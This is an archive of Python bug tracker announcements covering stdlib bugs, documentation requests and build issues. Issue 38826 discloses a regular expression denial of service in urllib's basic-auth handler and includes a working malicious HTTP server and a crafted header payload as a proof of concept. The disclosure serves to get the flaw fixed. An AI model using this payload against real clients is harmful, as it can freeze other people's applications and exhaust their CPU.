Many of the C stdlib modules can benefit from improved error handling during initialization. I've now had two PRs where the authors had reference leaks on error conditions, but defended their decisions by pointing to examples of similar idioms all over the stdlib.

The problems fall into two related categories, mostly:

- Not DECREF'ing the new module object on failure.
- Not handling errors raised by the PyModule_Add* family of functions... specifically, the weird steal-on-success semantics of PyModule_AddObject. I've already improved the docs for this, so we should see the issue less, but our own code should still be fixed.

I intend to turn this into a longer term project. I'll be working my way through these modules bit-by-bit over time, using this issue to track all of them (since there are a few dozen cases). I'd rather not make one huge one that spams all of the code owners and is impossible to review.

If anybody want to make themselves available to review/merge these as I go along, that would be great! Many of the ones I'll start with are just adding trivial DECREFs to the more popular modules (_asyncio, _contextvars, _functools, _random, _warnings, etc...).

----------
assignee: brandtbucher
components: Library (Lib)
messages: 356764
nosy: brandtbucher
priority: normal
severity: normal
status: open
title: Improve stdlib module initialization error handling.
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38823>
_______________________________________

From report at bugs.python.org  Sat Nov 16 14:23:29 2019
From: report at bugs.python.org (Arslan Mahmood)
Date: Sat, 16 Nov 2019 19:23:29 +0000
Subject: [New-bugs-announce] [issue38824] [security] requests connects to a
 wrong host
Message-ID: <1573932209.82.0.268574284955.issue38824@roundup.psfhosted.org>


Change by Arslan Mahmood <h47k6m4n at gmail.com>:


----------
components: Regular Expressions
nosy: Arslan Mahmood, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: [security] requests connects to a wrong host
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38824>
_______________________________________

From report at bugs.python.org  Sat Nov 16 17:19:58 2019
From: report at bugs.python.org (Lord Anton Hvornum)
Date: Sat, 16 Nov 2019 22:19:58 +0000
Subject: [New-bugs-announce] [issue38825] psutil.disk_usage - Lacking
 documentation
Message-ID: <1573942798.11.0.196925055555.issue38825@roundup.psfhosted.org>


New submission from Lord Anton Hvornum <anton.doxid at gmail.com>:

https://docs.python.org/3.8/library/shutil.html#shutil.disk_usage

There's no mention that this helper function simply calls `os.statvfs()` in the background. Something that is quite troubling when you're trying to get disk_usage (or disk-information) about a non-mounted drive.

It's clear as day if you see the code: https://github.com/python/cpython/blob/master/Lib/shutil.py#L1249

But if you're a novice user, this will puzzle your brain.
Because the end result will be that `disk_usage()` returns the same information for all these cases:

shutil.disk_usage('/dev/sda')
shutil.disk_usage('/dev/sdb')
shutil.disk_usage('/dev/sdc')

Which translates to:

os.statvfs('/dev/sd?')'

--

All I'm asking, is that we add a little note stating:
"On *mounted* filesystems" or a reference to `os.statvfs()` where it's clearly stated that it runs on mounted filesystems.

Thanks in advance.

----------
assignee: docs at python
components: Documentation
messages: 356771
nosy: Lord Anton Hvornum, docs at python
priority: normal
severity: normal
status: open
title: psutil.disk_usage - Lacking documentation
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38825>
_______________________________________

From report at bugs.python.org  Sat Nov 16 20:45:42 2019
From: report at bugs.python.org (Ben Caller)
Date: Sun, 17 Nov 2019 01:45:42 +0000
Subject: [New-bugs-announce] [issue38826] Regular Expression Denial of
 Service in urllib.request.AbstractBasicAuthHandler
Message-ID: <1573955142.95.0.285133152076.issue38826@roundup.psfhosted.org>


New submission from Ben Caller <bcaller at gmail.com>:

The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS).

The regex is:

    rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
                    'realm=(["\']?)([^"\']*)\\2', re.I)

The first line can act like:

    (,*,)*(,+)[ \t]

Showing that there are many different ways to match a long sequence of commas.

Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ".

We can craft a malicious input:

    urllib.request.AbstractBasicAuthHandler.rx.search(
        "basic " + ("," * 100) + "A"
    )

Which causes catastrophic backtracking and takes a large amount of CPU time to process.

I tested the length of time (seconds) to complete for different numbers of commas in the string:

18   0.289
19   0.57
20   1.14
21   2.29
22   4.55
23   9.17
24  18.3
25  36.5
26  75.1
27 167

Showing an exponential relationship O(2^x) !

The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete.

Example malicious server:

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_basic_auth(n_commas):
        commas = "," * n_commas
        return f"basic {commas}A"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(401)
            n_commas = (
                int(self.path[1:])
                if len(self.path) > 1 else
                65509
            )
            value = make_basic_auth(n_commas)
            self.send_header("www-authenticate", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

Vulnerable client:

    import urllib.request
    opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
    opener.open("http://localhost:44020/")

As such, python applications using urllib.request may need to be careful not to visit malicious servers.

I think the regex can be replaced with:
    rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)

- Ben

----------
components: Library (Lib)
messages: 356785
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38826>
_______________________________________

From report at bugs.python.org  Sun Nov 17 00:59:59 2019
From: report at bugs.python.org (Arslan Mahmood)
Date: Sun, 17 Nov 2019 05:59:59 +0000
Subject: [New-bugs-announce] [issue38827] [security] requests (lib) connects
 to a wrong host
Message-ID: <1573970399.04.0.637340235366.issue38827@roundup.psfhosted.org>


Change by Arslan Mahmood <h47k6m4n at gmail.com>:


----------
components: Library (Lib)
nosy: Arslan Mahmood
priority: normal
severity: normal
status: open
title: [security] requests (lib) connects to a wrong host
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38827>
_______________________________________

From report at bugs.python.org  Sun Nov 17 05:34:51 2019
From: report at bugs.python.org (Kovid Goyal)
Date: Sun, 17 Nov 2019 10:34:51 +0000
Subject: [New-bugs-announce] [issue38828] cookiejar.py broken in 3.8
Message-ID: <1573986891.37.0.331241515987.issue38828@roundup.psfhosted.org>


New submission from Kovid Goyal <kovid at kovidgoyal.net>:

In python 3.8 cookiejar.py is full of code that compares cookie.version to integers, which raises as exception when cookie.version is None. For example, in set_ok_version() and set_ok_path(). Both the Cookie constructor and _cookie_from_cookie_tuple() explicitly assume version can be None and setting version to None worked fine in previous pythonreleases.

----------
components: Library (Lib)
messages: 356797
nosy: kovid
priority: normal
severity: normal
status: open
title: cookiejar.py broken in 3.8
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38828>
_______________________________________

From report at bugs.python.org  Sun Nov 17 06:52:05 2019
From: report at bugs.python.org (Jean-Didier)
Date: Sun, 17 Nov 2019 11:52:05 +0000
Subject: [New-bugs-announce] [issue38829] Make the function flush_io
 accessible in the C-API
Message-ID: <1573991525.07.0.835950836621.issue38829@roundup.psfhosted.org>


New submission from Jean-Didier <jeandidier.garaud at gmail.com>:

Hello, 
when using an embedded python interpreter in a C++ program, which itself uses MPI, the embedded script's error messages are not flushed properly. 
(see the whole discussion in this StackOverflow : https://stackoverflow.com/questions/29352485/python-print-not-working-when-embedded-into-mpi-program/49076389#49076389).

The current preferred solution involves adding a few calls to flush_io in the C++. 
However, flush_io is a `static` function in `pythonrun.c`, and is not visible in the C-API.

Would it be possible to remove its static attribute, and add a reference to it in pythonrun.h?
Or maybe there is another method to flush IO from the C-API?

----------
components: IO
messages: 356801
nosy: Jean-Didier
priority: normal
severity: normal
status: open
title: Make the function flush_io accessible in the C-API
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38829>
_______________________________________

From report at bugs.python.org  Sun Nov 17 08:34:43 2019
From: report at bugs.python.org (Samuel Mathias)
Date: Sun, 17 Nov 2019 13:34:43 +0000
Subject: [New-bugs-announce] [issue38830] `A Qt GUI for logging` produces
 TypeError
Message-ID: <1573997683.84.0.3393861471.issue38830@roundup.psfhosted.org>


New submission from Samuel Mathias <samuel.mathias at gmail.com>:

On the "logging cookbook" page:

https://docs.python.org/3/howto/logging-cookbook.html#logging-cookbook

The recipe "A Qt GUI for logging" produces the following error:

`TypeError: update_status() missing 1 required positional argument: 'record'`

----------
assignee: docs at python
components: Documentation
messages: 356808
nosy: Samuel Mathias, docs at python
priority: normal
severity: normal
status: open
title: `A Qt GUI for logging` produces TypeError
type: crash
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38830>
_______________________________________

From report at bugs.python.org  Sun Nov 17 09:38:15 2019
From: report at bugs.python.org (rosoroso)
Date: Sun, 17 Nov 2019 14:38:15 +0000
Subject: [New-bugs-announce] [issue38831] urllib.request header characters
 being changed to lowercase
Message-ID: <1574001495.49.0.848749127731.issue38831@roundup.psfhosted.org>


New submission from rosoroso <robert.calvert at ibm.com>:

When using the urllib request headers, I've found that certain letters are converted to their lowercase versions whilst part of a request object (H->h in the example, see at bottom).
Whilst this should not usually be an issue (Since headers are not supposed to be case sensitive), I've found an API for which that is not the case.

Options for fixing this could include, not changing the case of characters in header fields or updating the docs to include a warning of this behaviour (https://docs.python.org/3/library/urllib.request.html)

import urllib.request
header = {"Test-Header":"Value"}
requestobject = urllib.request.Request("https://www.example.com",None,header)
print ("Original header is:", header)
print ("Request header is:", requestobject.header_items())

'''
Orginal header is: {'Test-Header': 'Value'}
Request header is: [('Test-header', 'Value')]
Version was Python 3.6.5
'''

----------
messages: 356813
nosy: rosoroso
priority: normal
severity: normal
status: open
title: urllib.request header characters being changed to lowercase
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38831>
_______________________________________

From report at bugs.python.org  Sun Nov 17 12:28:33 2019
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 17 Nov 2019 17:28:33 +0000
Subject: [New-bugs-announce] [issue38832] setup.py can report builtin
 modules as missing modules
Message-ID: <1574011713.16.0.567314798681.issue38832@roundup.psfhosted.org>


New submission from Christian Heimes <lists at cheimes.de>:

setup.py can report statically linked modules as missing when detect_modules() have flagged the modules as missing.

In my case I have modified Modules/Setup.local to statically link _ssl and _hashlib:

$ cat Modules/Setup.local 
SSL=/tmp/openssl
_socket socketmodule.c
_ssl _ssl.c -I$(SSL)/include $(SSL)/lib/libcrypto.a $(SSL)/lib/libssl.a
_hashlib _hashopenssl.c -I$(SSL)/include $(SSL)/lib/libcrypto.a

make successfully compiles _socket, _ssl, and _hashlib into the main interpreter binary. setup.py does not list _ssl and _hashlib as builtin but as missing modules because detect_modules() detects dependencies as missing.

The problem can be reproduced on an old Ubuntu or RHEL system with OpenSSL 1.0.1 and a custom OpenSSL installation.

----------
components: Build
messages: 356821
nosy: christian.heimes, vstinner
priority: normal
severity: normal
stage: needs patch
status: open
title: setup.py can report builtin modules as missing modules
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38832>
_______________________________________

From report at bugs.python.org  Sun Nov 17 12:42:34 2019
From: report at bugs.python.org (Charles Anderson)
Date: Sun, 17 Nov 2019 17:42:34 +0000
Subject: [New-bugs-announce] [issue38833] Issue with multiprocessing.Pool &
 multiprocessing.Queue
Message-ID: <1574012554.58.0.644556587117.issue38833@roundup.psfhosted.org>


New submission from Charles Anderson <mmrocksmm12 at gmail.com>:

When calling mp.Pool().apply_async(), and passing a mp.Queue() instance as an argument the execution halts.

This is contrasted by using mp.Manager().Queue() which when passed to apply_async() works as expected.

----------
components: Library (Lib)
files: python_mp_pool_queue_issue.py
messages: 356822
nosy: bigbizze
priority: normal
severity: normal
status: open
title: Issue with multiprocessing.Pool & multiprocessing.Queue
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48719/python_mp_pool_queue_issue.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38833>
_______________________________________

From report at bugs.python.org  Sun Nov 17 19:53:54 2019
From: report at bugs.python.org (Zac Hatfield-Dodds)
Date: Mon, 18 Nov 2019 00:53:54 +0000
Subject: [New-bugs-announce] [issue38834] TypedDict: no way to tell which
 (if any) keys are optional at runtime
Message-ID: <1574038434.98.0.659515857103.issue38834@roundup.psfhosted.org>


New submission from Zac Hatfield-Dodds <zac.hatfield.dodds at gmail.com>:

Consider the following cases:

```python
class A(typing.TypedDict):
    a: int  # a is required

class B(A, total=False):
    b: bool  # a is required, b is optional

class C(B):
    c: str  # a is required, b is optional, c is required again
```

PEP-589 is clear about the semantics, and this is obvious enough when reading the code.  At runtime the __annotations__ attribute of each class gives us the set of allowed keys and the type of each corresponding value, but we have a problem:

- C has __total__==True, but b is not actually required.
- B has __total__==False, but a *is* required.
- I can't see any way to get the parent classes of a TypedDict class!

The _TypedDictMeta metaclass updates the attributes, but leaves no record of the parent type - at runtime A, B, and C all appear to inherit directly from dict.

After discussion on the typing-sig mailing list, I propose to add __required_keys__ and __optional_keys__ attributes to TypedDict subclasses, as frozensets of strings.

This will be very useful for Hypothesis' `from_type()` strategy, as well as for type-based validation frameworks like pydantic or typeguard.

----------
components: Library (Lib)
messages: 356836
nosy: Zac Hatfield-Dodds, levkivskyi
priority: normal
severity: normal
status: open
title: TypedDict: no way to tell which (if any) keys are optional at runtime
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38834>
_______________________________________

From report at bugs.python.org  Mon Nov 18 09:35:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Nov 2019 14:35:51 +0000
Subject: [New-bugs-announce] [issue38835] pyfpe.h: Exclude
 PyFPE_START_PROTECT and PyFPE_END_PROTECT from the Py_LIMITED_API
Message-ID: <1574087751.21.0.402733884196.issue38835@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

The bpo-29137 removed the fpectl module. But two macros were kept in pyfpe.h:

/* These macros used to do something when Python was built with --with-fpectl,
 * but support for that was dropped in 3.7. We continue to define them though,
 * to avoid breaking API users.
 */

#define PyFPE_START_PROTECT(err_string, leave_stmt)
#define PyFPE_END_PROTECT(v)

I propose to exclude them from the stable API. Maybe at least exclude them from the stable API >= 3.9?

commit 735ae8d139a673b30b321dc10acfd3d14f0d633b
Author: Nathaniel J. Smith <njs at pobox.com>
Date:   Fri Jan 5 23:15:34 2018 -0800

    bpo-29137: Remove fpectl module (#4789)
    
    This module has never been enabled by default, never worked correctly
    on x86-64, and caused ABI problems that caused C extension
    compatibility. See bpo-29137 for details/discussion.

----------
components: Library (Lib)
messages: 356870
nosy: vstinner
priority: normal
severity: normal
status: open
title: pyfpe.h: Exclude PyFPE_START_PROTECT and PyFPE_END_PROTECT from the Py_LIMITED_API
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38835>
_______________________________________

From report at bugs.python.org  Mon Nov 18 11:55:04 2019
From: report at bugs.python.org (MaT1g3R)
Date: Mon, 18 Nov 2019 16:55:04 +0000
Subject: [New-bugs-announce] [issue38836] Links are duplicated in
 documentation search result
Message-ID: <1574096104.71.0.223088739291.issue38836@roundup.psfhosted.org>


New submission from MaT1g3R <peijun.ma at protonmail.com>:

When I do a search in documentation, for example:

https://docs.python.org/3.9/search.html?q=os.walk

The links in the results are sometimes duplicated, for example this
link below shows up twice in the search result:

https://docs.python.org/3.9/library/os.html?highlight=os%20walk#os.walk

----------
assignee: docs at python
components: Documentation
messages: 356883
nosy: MaT1g3R, docs at python
priority: normal
severity: normal
status: open
title: Links are duplicated in documentation search result
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38836>
_______________________________________

From report at bugs.python.org  Mon Nov 18 12:14:51 2019
From: report at bugs.python.org (Dave Lotton)
Date: Mon, 18 Nov 2019 17:14:51 +0000
Subject: [New-bugs-announce] [issue38837] struct.pack: Unable to pack more
 than 256 bytes at a time
Message-ID: <1574097291.45.0.986281483128.issue38837@roundup.psfhosted.org>


New submission from Dave Lotton <dlotton at gmail.com>:

Using struct.pack it is not possible (Python 3.6.8 and 2.7.15) to pack more than 256 bytes at a time.  

This seems like an arbitrarily small number, and seems to be inconsistent with the capabilities of the unpack function, which is able to unpack a larger number of bytes.

Below demonstrates the issue...

>>> # Create large data set to be packed
>>> data = range(0,512)

>>> # Demonstrate format string for packing
>>> '<%dB' % len(data)
'<512B'

>>> # Try to pack large data set
>>> packed = pack('<%dB' % len(data), *data)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
struct.error: ubyte format requires 0 <= number <= 255

>>> # Make data set <= 256 bytes
>>> data = range(0,256)
>>> packed = pack('<%dB' % len(data), *data)
>>> # Data successfully packed


>>> # Append another 256 bytes to packed data
>>> packed += pack('<%dB' % len(data), *data)

>>> # Unpack all 512 bytes
>>> unpacked = unpack('<%dB' % len(packed), packed)
>>> 
>>> unpacked
(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255)




The 256 byte limit on packing seems arbitrarily small and is inconsistent with the unpack function.  I'm wondering if there is a rationale for this limit, or it has simply been an oversight in the implementation.

I am using Mint Linux 19.2 64-bit (Ubuntu Bionic - based distro).  The problem is manifested on both Python 3.6.8 and 2.7.15 included in the distro.

----------
components: Library (Lib)
messages: 356886
nosy: Dave Lotton
priority: normal
severity: normal
status: open
title: struct.pack: Unable to pack more than 256 bytes at a time
type: behavior
versions: Python 2.7, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38837>
_______________________________________

From report at bugs.python.org  Mon Nov 18 13:22:08 2019
From: report at bugs.python.org (wesinator)
Date: Mon, 18 Nov 2019 18:22:08 +0000
Subject: [New-bugs-announce] [issue38838] Exception ignored in: module
 'threading' in _shutdown, _signal_handler
Message-ID: <1574101328.65.0.270951183149.issue38838@roundup.psfhosted.org>


New submission from wesinator <13hurdw at gmail.com>:

macOS 10.14.6
python 3.7.5 

Exception ignored in: <module 'threading' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/threading.py'>
Traceback (most recent call last):
  File "/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/threading.py", line 1274, in _shutdown
    def _shutdown():
  File "/usr/local/lib/python3.7/site-packages/tcex/tcex.py", line 178, in _signal_handler
    self.exit(1, 'The App received an interrupt signal and will now exit.')
  File "/usr/local/lib/python3.7/site-packages/tcex/tcex.py", line 303, in exit
    sys.exit(code)
SystemExit: 1

----------
components: Library (Lib)
messages: 356893
nosy: wesinator
priority: normal
severity: normal
status: open
title: Exception ignored in: module 'threading' in _shutdown, _signal_handler
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38838>
_______________________________________

From report at bugs.python.org  Mon Nov 18 17:08:25 2019
From: report at bugs.python.org (Adam Johnson)
Date: Mon, 18 Nov 2019 22:08:25 +0000
Subject: [New-bugs-announce] [issue38839] Some unused functions in test suite
Message-ID: <1574114905.54.0.915715674815.issue38839@roundup.psfhosted.org>


New submission from Adam Johnson <me at adamj.eu>:

Whilst developing a new unused function check for flake8 ( https://github.com/PyCQA/pyflakes/pull/485 ) I ran it against the CPython source code and found some uncalled functions.

----------
messages: 356919
nosy: adamchainz
priority: normal
pull_requests: 16745
severity: normal
status: open
title: Some unused functions in test suite
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38839>
_______________________________________

From report at bugs.python.org  Mon Nov 18 17:18:22 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Nov 2019 22:18:22 +0000
Subject: [New-bugs-announce] [issue38840] incorrect __all__ list in
 multiprocessing.managers module
Message-ID: <1574115502.48.0.329816372934.issue38840@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

On android which is a platform that is missing the shared memory implementation, test___all__ fails because 'multiprocessing.managers' has no attribute 'SharedMemoryManager' which is listed in __all__.


2|generic_x86_64:/data/local/tmp/python $ python
Python 3.9.0a0 (heads/abifa-dirty:cf805c25e6, Nov 18 2019, 16:40:26) 
[Clang 8.0.2 (https://android.googlesource.com/toolchain/clang 40173bab62ec7462 on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import multiprocessing.shared_memory
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/data/local/tmp/python/lib/python3.9/multiprocessing/shared_memory.py", line 22, in <module>
    import _posixshmem
ModuleNotFoundError: No module named '_posixshmem'
>>> 


2|generic_x86_64:/data/local/tmp/python $ python -m test test___all__
0:00:00 Run tests sequentially
0:00:00 [1/1] test___all__
test test___all__ failed -- Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test___all__.py", line 38, in check_all
    exec("from %s import *" % modname, names)
AttributeError: module 'multiprocessing.managers' has no attribute 'SharedMemoryManager'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test___all__.py", line 41, in check_all
    self.fail("__all__ failure in {}: {}: {}".format(
AssertionError: __all__ failure in multiprocessing.managers: AttributeError: module 'multiprocessing.managers' has no attribute 'SharedMemoryManager'

test___all__ failed

== Tests result: FAILURE ==

1 test failed:
    test___all__

Total duration: 1.8 sec
Tests result: FAILURE

----------
components: Library (Lib)
messages: 356922
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: incorrect __all__ list in multiprocessing.managers module
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38840>
_______________________________________

From report at bugs.python.org  Mon Nov 18 17:36:11 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Nov 2019 22:36:11 +0000
Subject: [New-bugs-announce] [issue38841] [asyncio] bind() on a unix socket
 raises PermissionError on Android for a non-root user
Message-ID: <1574116571.31.0.103928897479.issue38841@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

This is the same kind of issue as reported in #28684.


python -m test -v test_asyncio -m test_create_datagram_endpoint_existing_sock_unix
== CPython 3.9.0a0 (heads/abifa-dirty:cf805c25e6, Nov 18 2019, 16:40:26) [Clang 8.0.2 (https://andro
id.googlesource.com/toolchain/clang 40173bab62ec7462
== Linux-3.10.0+-x86_64-with-libc little-endian
== cwd: /data/local/tmp/python/tmp/test_python_6046
== CPU count: 2
== encodings: locale=UTF-8, FS=utf-8
0:00:00 Run tests sequentially
test_create_datagram_endpoint_existing_sock_unix (test.test_asyncio.test_base_events.BaseEventLoopWithSelectorTests) ... ERROR
/data/local/tmp/python/lib/python3.9/unittest/case.py:687: ResourceWarning: unclosed <socket.socket
fd=7, family=AddressFamily.AF_UNIX, type=SocketKind.SOCK_DGRAM, proto=0>
  outcome.errors.clear()
ResourceWarning: Enable tracemalloc to get the object allocation traceback
======================================================================
ERROR: test_create_datagram_endpoint_existing_sock_unix (test.test_asyncio.test_base_events.BaseEven
tLoopWithSelectorTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.9/test/test_asyncio/test_base_events.py", line 1707, in t
est_create_datagram_endpoint_existing_sock_unix
    sock.bind(path)
PermissionError: [Errno 13] Permission denied

----------------------------------------------------------------------

Ran 1 test in 0.014s

FAILED (errors=1)
test test_asyncio failed
test_asyncio failed

== Tests result: FAILURE ==

1 test failed:
    test_asyncio

Total duration: 542 ms
Tests result: FAILURE

----------
components: asyncio
messages: 356924
nosy: asvetlov, xdegaye, yselivanov
priority: normal
severity: normal
stage: needs patch
status: open
title: [asyncio] bind() on a unix socket raises PermissionError on Android for a non-root user
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38841>
_______________________________________

From report at bugs.python.org  Mon Nov 18 18:39:53 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 18 Nov 2019 23:39:53 +0000
Subject: [New-bugs-announce] [issue38842] test_multiprocessing_spawn altered
 the execution environment in AMD64 FreeBSD Non-Debug 3.x
Message-ID: <1574120393.33.0.271928086665.issue38842@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

Ran 352 tests in 243.972s
OK (skipped=34)
/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/multiprocessing/resource_tracker.py:203: UserWarning: resource_tracker: There appear to be 1 leaked shared_memory objects to clean up at shutdown
? warnings.warn('resource_tracker: There appear to be %d '
/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/multiprocessing/resource_tracker.py:216: UserWarning: resource_tracker: '/psm_5b8ca94b': [Errno 2] No such file or directory: '/psm_5b8ca94b'
? warnings.warn('resource_tracker: %r: %s' % (name, e))


1 test altered the execution environment:
? ? test_multiprocessing_spawn

It seems that the shared memory leaked is causing the test to fail.?

----------
components: Tests
messages: 356929
nosy: pablogsal
priority: normal
severity: normal
status: open
title: test_multiprocessing_spawn altered the execution environment in AMD64 FreeBSD Non-Debug 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38842>
_______________________________________

From report at bugs.python.org  Mon Nov 18 21:23:43 2019
From: report at bugs.python.org (Ivan Kurnosov)
Date: Tue, 19 Nov 2019 02:23:43 +0000
Subject: [New-bugs-announce] [issue38843] Document argparse behaviour when
 custom namespace object already has the field set
Message-ID: <1574130223.67.0.390215742489.issue38843@roundup.psfhosted.org>


New submission from Ivan Kurnosov <zerkms at zerkms.com>:

At this moment it's impossible to explain the behaviour of this script using documentation.

Given it was explicitly coded to behave like that - it should be somehow noted in the documentation, that as long as a `CliArgs.foo` field has a default value set already - it won't be overwritten with a default argparse argument value.


```
import argparse

class CliArgs(object):
    foo: str = 'not touched'


parser = argparse.ArgumentParser()
parser.add_argument('--foo', default='bar')

args = CliArgs()
parser.parse_args(namespace=args)
print(args.foo) # 'not touched'

print(parser.parse_args()) # 'bar'
```

----------
assignee: docs at python
components: Documentation
messages: 356939
nosy: docs at python, zerkms
priority: normal
severity: normal
status: open
title: Document argparse behaviour when custom namespace object already has the field set

_______________________________________
